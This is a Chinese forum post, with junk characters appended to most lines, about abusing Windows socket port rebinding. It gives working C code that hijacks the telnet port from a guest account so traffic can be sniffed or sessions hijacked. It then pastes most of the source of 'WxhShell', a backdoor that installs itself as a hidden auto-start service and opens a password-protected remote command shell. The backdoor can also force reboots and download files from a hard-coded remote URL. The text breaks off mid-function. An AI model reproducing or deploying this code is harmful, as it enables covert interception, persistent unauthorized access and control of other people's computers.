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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y3Oz'%B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B{MaMf)  
<jA105U"m>  
  saddr.sin_family = AF_INET; p?# pT}1  
nlc.u}#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); },@``&e  
5MF#&v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 94/BG0  
)8,|-o=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7K;!iX<d  
5l{Ts04k%  
  这意味着什么?意味着可以进行如下的攻击: Kct@87z  
!wE}(0BTx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K pHw-6"  
BPv>$ m+.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cn`iX(ZgR  
!%)]56(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `@Oa lg  
+ulagE|7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !*{q^IO9v&  
Vzg=@A#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }m- "8\_D  
@'6"7g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /=:j9FF  
C! 9}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ztll}  
r^fe4b  
  #include %,P >%'0  
  #include *ZrSiIPP  
  #include 0~Gle:  
  #include    j;0vAf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G`0V)S  
  int main() viX +|A4gJ  
  { zM#sOg  
  WORD wVersionRequested; H t(n%;<  
  DWORD ret; j5$GFi\kB  
  WSADATA wsaData; =r2]uW9  
  BOOL val; I/6)3 su%  
  SOCKADDR_IN saddr; N2C7[z+l`  
  SOCKADDR_IN scaddr; $IQw=w7 p  
  int err; U/ od~29  
  SOCKET s; fmX!6Kv  
  SOCKET sc; 8\.b4FNJ  
  int caddsize; Yk!/ow@.  
  HANDLE mt; tc+WWDP#"  
  DWORD tid;   I\O\,yPhhP  
  wVersionRequested = MAKEWORD( 2, 2 ); 3uWkc3  
  err = WSAStartup( wVersionRequested, &wsaData ); k[j90C5  
  if ( err != 0 ) { U8$4 R,+  
  printf("error!WSAStartup failed!\n"); Mkxi~p%<r  
  return -1; p>w]rE:}  
  } ]=pR  
  saddr.sin_family = AF_INET; /YAJbr  
   u\yVR$pQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w;6bD'.>;  
$'rG-g!f\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w"Y` ]2  
  saddr.sin_port = htons(23); RE2&mYt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6w8" >~)Z  
  { ia@'%8  
  printf("error!socket failed!\n"); v=@TWEE  
  return -1; ED>prE0  
  } tJViA`@x  
  val = TRUE; i:]*P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "*1 f;+\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  {^a36i  
  { D,v U  
  printf("error!setsockopt failed!\n"); \JEXX4%  
  return -1; m,i,n9C->  
  } G 2bDf-1ew  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x!LQxoNF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t]jFo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nfSbM3D]h  
nn/?fIZN4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,l YE  
  { W!Hm~9fz  
  ret=GetLastError(); "5R~(+~<@  
  printf("error!bind failed!\n"); \MC-4Yz  
  return -1; i<kD  
  } q;g>t5]a  
  listen(s,2); l/TjQ*  
  while(1) g- AHdYJ  
  { t7 n(Qkrv  
  caddsize = sizeof(scaddr); Q 1d'~e  
  //接受连接请求 jp8@vdRg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -i0(2*<  
  if(sc!=INVALID_SOCKET) `nM/l @  
  { o8/ ;;*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4;n6I)&.(  
  if(mt==NULL) #} ~qqJ G2  
  { -}O1dEn.  
  printf("Thread Creat Failed!\n"); L37Y+C//  
  break; {vUN+We  
  } ('wY9kvL&  
  } &qp r*17T  
  CloseHandle(mt); 1tTg P+  
  } g VQjL+_W  
  closesocket(s); wO ?+Nh  
  WSACleanup(); |(5W86C,ju  
  return 0; kpL@P oQ/r  
  }   FuI73  
  DWORD WINAPI ClientThread(LPVOID lpParam) *f& EoUk}F  
  { {!6/x9>  
  SOCKET ss = (SOCKET)lpParam; NH$r Z7$  
  SOCKET sc; \^ghdU  
  unsigned char buf[4096]; Dd;Nz  
  SOCKADDR_IN saddr; (?_S6H E  
  long num; qmO6,T-|  
  DWORD val; &%})wZ+Dj  
  DWORD ret; d ;vT ~;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6"Bic rY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $o$ maA0  
  saddr.sin_family = AF_INET; d>;&9;)H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'RRmIx2X  
  saddr.sin_port = htons(23); -~?J+o+Pr"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ST\$=  
  { 0#w?HCx=  
  printf("error!socket failed!\n"); "Rn 3lj0  
  return -1; ,0x y\u  
  } JkW9D)6  
  val = 100; DXz} YIEC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H*#s }9=kZ  
  { fRg`UI4w}  
  ret = GetLastError(); *`ZH` V  
  return -1; q_-7i  
  } n6s}ww)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b Q]/?cCYV  
  { (Qa/EkE^*w  
  ret = GetLastError(); 3nZo{p:E  
  return -1; aLIBD'z  
  } 0a-:<zm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /rUo{j  
  { bh^LIU  
  printf("error!socket connect failed!\n"); ,-7R(iMd  
  closesocket(sc); 9Xx's%U  
  closesocket(ss); Cvn#=6V3  
  return -1; ()~pY!)1/  
  } yAoe51h?  
  while(1) LpR3BP@At  
  { | WvUq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w)Covz'uf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @V03a )6,h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dtpoU&?6s  
  num = recv(ss,buf,4096,0); XC.%za8  
  if(num>0) @|Rrf*J?%  
  send(sc,buf,num,0); ^f# F I&  
  else if(num==0) os/vtyP:a  
  break; [IK  )  
  num = recv(sc,buf,4096,0); %-d]X{J:  
  if(num>0) 76u&EG%  
  send(ss,buf,num,0); T49zcJf;  
  else if(num==0) g!-,]  
  break; kF/9-[]$g,  
  } rETRTp0HT  
  closesocket(ss); 9K9DF1SOa  
  closesocket(sc); =i~}84>  
  return 0 ; a'z)  
  } +nJUFc  
:=J,z,H_U  
=$]uoA  
========================================================== d/i`l*  
&197P7&o  
下边附上一个代码,,WXhSHELL xQUu|gtL4  
m 9/}~Y#k  
========================================================== m=YU2!Mb  
qK)73eNSR  
#include "stdafx.h" DZi!aJ  
~8lwe*lNV  
#include <stdio.h> r/SG 4  
#include <string.h> D9z|VIw8  
#include <windows.h> r#XT3qp$d  
#include <winsock2.h> ?M[ A7?  
#include <winsvc.h> qAw x2fPu  
#include <urlmon.h> fFc/ d(  
Uw 47LP  
#pragma comment (lib, "Ws2_32.lib") ~R(%D-k  
#pragma comment (lib, "urlmon.lib") )E~ 79!  
>%wLAS",w  
#define MAX_USER   100 // 最大客户端连接数 V{JAB]?^  
#define BUF_SOCK   200 // sock buffer Hla0 5N' 4  
#define KEY_BUFF   255 // 输入 buffer s0PrbL%_`  
^Vpq$'!  
#define REBOOT     0   // 重启 gvL f|+m  
#define SHUTDOWN   1   // 关机 nw-I|PVTNa  
 ]C) 4  
#define DEF_PORT   5000 // 监听端口 J>\B`E  
92EWIHEWZ  
#define REG_LEN     16   // 注册表键长度 Z?\2F%  
#define SVC_LEN     80   // NT服务名长度 p\bDY  
~$~5qwl  
// 从dll定义API p\<u6v ~J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nqu>6^-z0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }K&7%N4LZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kXf'5p1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1PpyVf  
78/Zk}I]  
// wxhshell配置信息 9]@A]p!  
struct WSCFG { d+'p@!W_  
  int ws_port;         // 监听端口 bFW=ylF9  
  char ws_passstr[REG_LEN]; // 口令 NUp<e%zB  
  int ws_autoins;       // 安装标记, 1=yes 0=no /oriW;OF  
  char ws_regname[REG_LEN]; // 注册表键名 ~-I +9F  
  char ws_svcname[REG_LEN]; // 服务名 NgY =&W,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ll C#1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :53)N v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ ]Z s,Hy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q#s,- uu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !TUrQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {DR`;ea])1  
9M:O0)s  
}; PS[+~>%  
f`[R7Q5  
// default Wxhshell configuration 0|a(]a}V*j  
struct WSCFG wscfg={DEF_PORT, '#&os`mQ  
    "xuhuanlingzhe", T3^GCX|!@  
    1, ZSG9t2qlv  
    "Wxhshell", 9<>wIl*T`  
    "Wxhshell", *FMMjz  
            "WxhShell Service", (Tbw3ENz  
    "Wrsky Windows CmdShell Service", MgY0q?.S=  
    "Please Input Your Password: ", #*KNPh  
  1, og kD^   
  "http://www.wrsky.com/wxhshell.exe", dUQ DO o  
  "Wxhshell.exe" t{.8|d@  
    }; D}mjN=Y  
"OdXY"G  
// 消息定义模块 C<P%CG&;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Tagr1L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }&[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i(NdGL#P  
char *msg_ws_ext="\n\rExit."; w$Rro)?}7  
char *msg_ws_end="\n\rQuit."; sNLs\4v  
char *msg_ws_boot="\n\rReboot..."; NB8/g0:=n&  
char *msg_ws_poff="\n\rShutdown..."; (,8$V\  
char *msg_ws_down="\n\rSave to "; [Lzw#XE  
MerFZd 1  
char *msg_ws_err="\n\rErr!"; Gy6l<:;  
char *msg_ws_ok="\n\rOK!"; /@,j232  
]4pkcV P  
char ExeFile[MAX_PATH]; @CT;g\4  
int nUser = 0; @ g&ct>@y  
HANDLE handles[MAX_USER]; 8/=L2fNN[  
int OsIsNt; eY|  
z[3L2U~6  
SERVICE_STATUS       serviceStatus; sL\L"rQN6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [_}J F}6  
fIsp;ca[k  
// 函数声明 #n#@fAY  
int Install(void); Y$?9Zkp>  
int Uninstall(void); tQBRA/  
int DownloadFile(char *sURL, SOCKET wsh); "*Tb" 'O  
int Boot(int flag); v uoQz\  
void HideProc(void); {\:{[{qF  
int GetOsVer(void); 6,0_)O}\b  
int Wxhshell(SOCKET wsl); 5Er2}KZJv,  
void TalkWithClient(void *cs); L{8xlx`  
int CmdShell(SOCKET sock); E6pMT^{K  
int StartFromService(void); CW,Wx:Y  
int StartWxhshell(LPSTR lpCmdLine); DKBSFm{~Q  
<=>=.kmGt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L:i-BI`J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); * /:x sI  
~4 `5tb  
// 数据结构和表定义 H{=21\a\  
SERVICE_TABLE_ENTRY DispatchTable[] = ~V\D|W9  
{ E(Z8  
{wscfg.ws_svcname, NTServiceMain}, mD^ jd+  
{NULL, NULL} [rSR:V?"a  
};  [D<1 CF  
C,NJb+J  
// 自我安装 jbS\vyG  
int Install(void) &M.66O@  
{ D F*:_B )  
  char svExeFile[MAX_PATH]; lc~%=  
  HKEY key; :gep:4&u  
  strcpy(svExeFile,ExeFile); 2fWTY0  
`wDl<[V  
// 如果是win9x系统,修改注册表设为自启动 ,uSQNre\j  
if(!OsIsNt) { f PM8f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *U P@9D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EV*IoE$W]=  
  RegCloseKey(key); _N{RVeO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @n{JM7ctJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [E/\#4b  
  RegCloseKey(key); N-e @j4WU  
  return 0; !& z(:d  
    } Ir qZi1  
  } (A~/'0/  
} Z2'Bk2 L  
else { 4*Hgv:0?kI  
0 g?z&?  
// 如果是NT以上系统,安装为系统服务 '|Kmq5)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F*3j.lI  
if (schSCManager!=0) p(/dBt[3k  
{ 'a\%L:`  
  SC_HANDLE schService = CreateService .K p  
  ( >8qQK r\"  
  schSCManager, paD!Z0v&  
  wscfg.ws_svcname, 7r~~Y%=C|  
  wscfg.ws_svcdisp, B4i!/@0s  
  SERVICE_ALL_ACCESS, g.zEn/SM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yL2o}ZbS  
  SERVICE_AUTO_START, fR*q?,  
  SERVICE_ERROR_NORMAL, &i$ldR  
  svExeFile, Stu4t==U  
  NULL, aPm`^ q  
  NULL, ,v';>.]  
  NULL, $**r(HV  
  NULL, v33dxZ'  
  NULL 1ke g9]  
  ); -6n K<e`  
  if (schService!=0) ,I%g|'2  
  { +i@y@<l:+  
  CloseServiceHandle(schService); <c qbUL  
  CloseServiceHandle(schSCManager); A*}.EClH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dk(1}%0U/  
  strcat(svExeFile,wscfg.ws_svcname); >JC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {ZI)nQ{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f;xkT  
  RegCloseKey(key); y&?6FY  
  return 0; SBIj<Yy]  
    } Zw ^kmSL"  
  } =[@zF9  
  CloseServiceHandle(schSCManager); oaoU _V  
} ?6fnpGX@a  
} @AIaC-,~]  
M>i9i -dU  
return 1; S&b*rA02zp  
} \4-"L>  
A8oo@z68n>  
// 自我卸载 +gJ8{u!=k  
int Uninstall(void) ](wvu(y\E  
{ Ns7(j-  
  HKEY key; Q2F+?w;,  
O4^8jK}  
if(!OsIsNt) { t ]_VG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Pyb Z)5u  
  RegDeleteValue(key,wscfg.ws_regname); A.EbXo/  
  RegCloseKey(key); TiO"xMX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jN6uT &{T  
  RegDeleteValue(key,wscfg.ws_regname); "6us#T  
  RegCloseKey(key); FMClSeO7  
  return 0; p4-o/8rO  
  } uoX:^'q   
} EB2!HpuQ3  
} |>tKq;/  
else { YYu6W@m]  
v,4pp@8rv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3 %|86:*  
if (schSCManager!=0) G}:lzOlMH  
{ m6[0Kws&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s1h/}  
  if (schService!=0) [N#, K02mk  
  { D-4f >  
  if(DeleteService(schService)!=0) { 7zSLAHW  
  CloseServiceHandle(schService); NT+?  #0I  
  CloseServiceHandle(schSCManager); Z^IPZF  
  return 0; #>mr[   
  } lJis~JLd`  
  CloseServiceHandle(schService); ;[ u%_  
  } obNqsyc77R  
  CloseServiceHandle(schSCManager); p|&Yku=  
} 2L} SJUk*  
} g#t[LI9(F[  
}7 c[Q($K  
return 1; D IzH`|Y  
} b+&% 1C  
|qmu _x\  
// 从指定url下载文件 gm[z[~X@  
int DownloadFile(char *sURL, SOCKET wsh) i*NH'o/  
{ Y[K*57fs  
  HRESULT hr; 8=Z9T<K  
char seps[]= "/"; "vyNxZE  
char *token; 3T!lA  
char *file; P%(O|  
char myURL[MAX_PATH]; o\3L}Y  
char myFILE[MAX_PATH]; MgNU``  
6Qy@UfB  
strcpy(myURL,sURL); !=:$lzS^  
  token=strtok(myURL,seps); /x[jQM\  
  while(token!=NULL) 7|[mz> "d  
  { @>)r}b  
    file=token; yX0dbW~@y  
  token=strtok(NULL,seps); 8W#heW\-]  
  } "t_-f7fS7  
R]btAu;Z  
GetCurrentDirectory(MAX_PATH,myFILE); U2wbvXr5-  
strcat(myFILE, "\\"); L"j tf78  
strcat(myFILE, file); < !dqTJos  
  send(wsh,myFILE,strlen(myFILE),0); yRfSJbzaf\  
send(wsh,"...",3,0); KjE+QUa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !Y\D?rKZ  
  if(hr==S_OK) <RG|Dx[:=  
return 0; DFd%9*N  
else NF0%}II&xK  
return 1; 8peDI7[|  
\DD0s8  
} thvYL.U :  
q11>f   
// 系统电源模块 tGl;@V@Qj  
int Boot(int flag) 3 "Q=Vl"  
{ [>1OJY.S}T  
  HANDLE hToken; FTQ%JTgT  
  TOKEN_PRIVILEGES tkp; km1~yQ"bH  
lAJxr8 .  
  if(OsIsNt) { (3 #Cl 1]f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0#S W!b|%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K?zH35f$  
    tkp.PrivilegeCount = 1; )l[M Q4vWW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Mpy#yIU.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  $W9{P;  
if(flag==REBOOT) { $[/&74#0HX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !/3B3cG  
  return 0; !cAyTl(_  
} \&iP`v`K  
else { D0#x Lh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B&.FO O  
  return 0; u( wGl_  
} }c}| $h^Y  
  } [h34d5'w  
  else { d~:!#uWyFk  
if(flag==REBOOT) { QZ:8+[oy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PV/7 7{'  
  return 0; \a6^LD}B  
} 'b#0t#|TM  
else { I9 mvt e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EVVP]ND  
  return 0; S!G(a"<W  
} /`6ZAo m9  
} "gne_Ye.  
qLT>Mz)$ %  
return 1; 3`ELKq  
} v {jQek4  
.Jrqm  
// win9x进程隐藏模块 ghX|3lI\q  
void HideProc(void) krC{ed  
{ (h5'9r  
G_k~X"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W81E!RyP`  
  if ( hKernel != NULL ) OZTPOz.  
  { l#H#+*F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2GWMlI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'iGzkf}j  
    FreeLibrary(hKernel); $;/}?QY(  
  } *IY*yR6  
W'.s\e?gh  
return; >b6-OFJx  
} k?z98 >4  
?F6pEt4  
// 获取操作系统版本 A%D7bQ  
int GetOsVer(void) b r^_'1  
{ rZfN+S,g  
  OSVERSIONINFO winfo;  mi)LP?q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _/s(7y!  
  GetVersionEx(&winfo); Lv'D^'I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &*7?)eI!i  
  return 1; DV\`Wv  
  else bV8!"{  
  return 0; z6?)3'  
} D!.+Y-+Xzu  
P~G1EK|4  
// 客户端句柄模块 Fx $Q;H!.  
int Wxhshell(SOCKET wsl) f"9q^  
{ oA =4=`  
  SOCKET wsh; qd#sY.|1  
  struct sockaddr_in client; p"FW&Q=PN  
  DWORD myID; }*ZHgf]~#  
fVt9X*xK S  
  while(nUser<MAX_USER) N^pJS6cJkl  
{ Bnb#{tL  
  int nSize=sizeof(client); u)V#S:9]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q&Gz ]  
  if(wsh==INVALID_SOCKET) return 1; eOXHQjuj  
&p}$J )q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 XICF  
if(handles[nUser]==0) $`wMX{  
  closesocket(wsh); VsN pHQG]  
else a_ `[Lj  
  nUser++; GF>'\@Th  
  } 7G\\{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H'LD}\K l  
j8fpj{hp  
  return 0; 0MkSf*  
} =Uj-^qcE  
"v`   
// 关闭 socket zj/!In  
void CloseIt(SOCKET wsh) ~5 *5  
{ 3q'&j, ,^  
closesocket(wsh); rc/nFl 6#  
nUser--; 8:#rA*Y  
ExitThread(0); Ci<ATho  
} }yJ$SR]t  
-,+q#F  
// 客户端请求句柄 CWNx4)ZGw  
void TalkWithClient(void *cs) qWx][D"  
{ (vB<%l.&  
@E-\ J7 yh  
  SOCKET wsh=(SOCKET)cs; m^#rB`0;L  
  char pwd[SVC_LEN]; qqu.EE  
  char cmd[KEY_BUFF]; C%U`"-%n@7  
char chr[1]; BWM YpZom  
int i,j; +q)5dYRzV  
n#:N;T;\a  
  while (nUser < MAX_USER) { K\$J4~EtG  
a9T@$:  
if(wscfg.ws_passstr) { Ma\Gb+>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e+j)~RBnu3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \N4 y<  
  //ZeroMemory(pwd,KEY_BUFF); U R%4@   
      i=0; i-'9AYyw  
  while(i<SVC_LEN) { :OkT? (i  
j8n4fv-)f  
  // 设置超时 v $7EvFS  
  fd_set FdRead; #fL8Kq  
  struct timeval TimeOut; \igmv]G%  
  FD_ZERO(&FdRead); G <uyin>  
  FD_SET(wsh,&FdRead); GQl$yZaK{  
  TimeOut.tv_sec=8; +8#_59;x  
  TimeOut.tv_usec=0; ;?6No(/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r} P<iX   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c1_5, 1U'  
;]w<&C!=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Udc=,yo3Qm  
  pwd=chr[0]; 1|?05<8  
  if(chr[0]==0xd || chr[0]==0xa) { oX DN+4ge  
  pwd=0; )6w}<W*1E  
  break; fnNYX]_bk  
  } T`9u!#mT=  
  i++; VL/|tL>E^  
    }  :Mcu  
\o Eo~  
  // 如果是非法用户,关闭 socket "F}'~HWZp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -YjA+XP  
} \/SQ,*O  
H{AMZyV0/d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E!Zx#XP1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0z[dl Hi  
k $f Gom  
while(1) { ?0 m\(#  
v NeCpf  
  ZeroMemory(cmd,KEY_BUFF); 1$2D O  
X5]TY]  
      // 自动支持客户端 telnet标准   \y88d4zX  
  j=0; a3VM '  
  while(j<KEY_BUFF) { 8NU`^L:1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $rhgzpZ!X_  
  cmd[j]=chr[0]; e{A9r@p!  
  if(chr[0]==0xa || chr[0]==0xd) { d @*GUmJ  
  cmd[j]=0; [F*4EGB  
  break; [ G e=kFB  
  } -PnyZ2'Z  
  j++; 1O!/g  
    } DEw8*MN  
s%!`kWVJ.  
  // 下载文件 /%I7Vc  
  if(strstr(cmd,"http://")) { V=X:=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; h`0ir4[A  
  if(DownloadFile(cmd,wsh)) )m&U#S _;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `g_"GE  
  else /Ux*u#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0}:2Q#  
  } sjM;s{gy  
  else { 8`]=C~ G  
;),BW g  
    switch(cmd[0]) { e } *0ghKI  
  ~=wC wA|1  
  // 帮助 Dgql?+2$  
  case '?': { m rJQ#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y')RT R{>M  
    break; k;EPpr-{  
  } c.|l-zAeX  
  // 安装 1TM~*<Jb  
  case 'i': { g'l?~s`SB  
    if(Install()) DS2)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /q@ s  
    else G|m1.=DJm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {i*2R^5  
    break; m$LVCB  
    } ZO7&vF}  
  // 卸载 ur\qOX|{  
  case 'r': { 68iV/ 7  
    if(Uninstall()) Nk;iiz+_p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$Y7u  
    else t UR c bwV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fa epDjY8  
    break; m3 ^/: <  
    } {3Y )rY!z  
  // 显示 wxhshell 所在路径 ]}mxY vu_i  
  case 'p': { GI7=x h  
    char svExeFile[MAX_PATH]; '>k{tPi.  
    strcpy(svExeFile,"\n\r"); Dw2Q 'E  
      strcat(svExeFile,ExeFile); \@~UDP]7  
        send(wsh,svExeFile,strlen(svExeFile),0); (5 <^p&  
    break; ==H$zmK  
    } ZCVl5R(mZ  
  // 重启 M|[ZpM+  
  case 'b': { W><dYy=z5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +-a&2J;J'  
    if(Boot(REBOOT)) ,SScf98,j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]Dt4o*yZ  
    else { }K(o9$V ^!  
    closesocket(wsh); ` r']^ ,  
    ExitThread(0); _Hd{sd#xX1  
    } + zkm(  
    break; #Y93y\  
    } e9^2,:wLB  
  // 关机 1P]de'-`j  
  case 'd': { J.R AmU<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '(#g1H3  
    if(Boot(SHUTDOWN)) S:8OQI  
